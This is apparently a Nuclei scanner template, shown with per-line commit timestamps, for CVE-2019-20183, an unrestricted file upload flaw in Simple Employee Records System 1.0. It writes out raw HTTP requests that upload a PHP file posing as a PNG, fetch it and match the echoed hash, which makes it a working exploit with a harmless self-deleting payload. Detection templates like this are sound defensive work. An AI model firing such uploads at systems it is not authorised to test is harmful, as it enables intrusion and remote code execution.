2021-09-30 16:52:05 +00:00
id : CVE-2019-20183
2021-03-01 11:40:03 +00:00
info :
2022-06-10 15:47:17 +00:00
name : Simple Employee Records System 1.0 - Unrestricted File Upload
2023-06-15 11:20:01 +00:00
author : pikpikcu,j4vaovo
2021-09-30 16:52:05 +00:00
severity : high
2022-06-20 16:38:15 +00:00
description : |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
2023-09-06 12:53:28 +00:00
remediation : |
Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/49596
2022-05-17 09:18:12 +00:00
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
2022-06-10 15:47:17 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
2023-11-08 06:56:05 +00:00
- https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-30 16:52:05 +00:00
classification :
2021-09-30 16:53:23 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2021-09-30 16:52:05 +00:00
cvss-score : 7.2
cve-id : CVE-2019-20183
2022-04-22 10:38:41 +00:00
cwe-id : CWE-434
2024-06-07 10:04:29 +00:00
epss-score : 0.03815
epss-percentile : 0.91874
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : employee_records_system_project
product : employee_records_system
2024-01-14 09:21:50 +00:00
tags : cve,cve2019,edb,rce,fileupload,intrusive,employee_records_system_project
2021-03-01 11:40:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-01 11:40:03 +00:00
- raw :
- |
POST /dashboard/uploadID.php HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
2021-09-09 06:36:24 +00:00
X-Requested-With : XMLHttpRequest
2021-03-01 11:40:03 +00:00
Content-Type : multipart/form-data; boundary=---------------------------5825462663702204104870787337
-----------------------------5825462663702204104870787337
Content-Disposition : form-data; name="employee_ID"; filename="poc.php"
Content-Type : image/png
<?php
2023-06-18 15:20:25 +00:00
echo md5('CVE-2019-20183');
2023-06-15 11:20:01 +00:00
unlink(__FILE__);
2021-03-01 11:40:03 +00:00
? >
-----------------------------5825462663702204104870787337 --
- |
2023-06-15 11:21:28 +00:00
GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
2021-03-01 11:40:03 +00:00
Host : {{Hostname}}
matchers :
2023-06-15 11:20:01 +00:00
- type : word
2023-06-15 11:21:28 +00:00
part : body_2
2023-06-15 11:20:01 +00:00
words :
2023-06-18 15:20:25 +00:00
- "1ad0d710225c472cb7396b3c1d97e4dd"
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : endpoint
regex :
- '(?:[a-zA-Z0-9+\/])*_poc.php'
internal : true
part : body
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402200a8af24918bdecd514780fb1a475fe5400019d917ea54e2d5a65842b5a54a5ac02207d52ab92bdde0b732c1b66fc690f6dcbe7ca2389980e4d7fea23f5e2ab6b1cfd:922c64590222798bb761d5b6d8e72950